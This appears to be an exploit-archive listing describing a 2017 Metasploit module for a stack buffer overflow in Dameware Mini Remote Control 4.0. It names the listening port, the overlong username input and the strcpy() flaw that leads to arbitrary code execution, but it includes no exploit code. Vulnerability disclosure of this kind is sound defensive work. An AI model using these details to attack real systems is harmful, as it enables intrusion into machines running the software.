Dameware Mini Remote Control 4.0 Username Stack Buffer Overflow

Dameware Mini Remote Control 4.0 Username Stack Buffer Overflow
Posted Sep 15, 2017
Authored by James Fitts | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow vulnerability found in Dameware Mini Remote Control v4.0. The overflow is caused when sending an overly long username to the DWRCS executable listening on port 6129. The username is read into a strcpy() function causing an overwrite of the return pointer leading to arbitrary code execution.
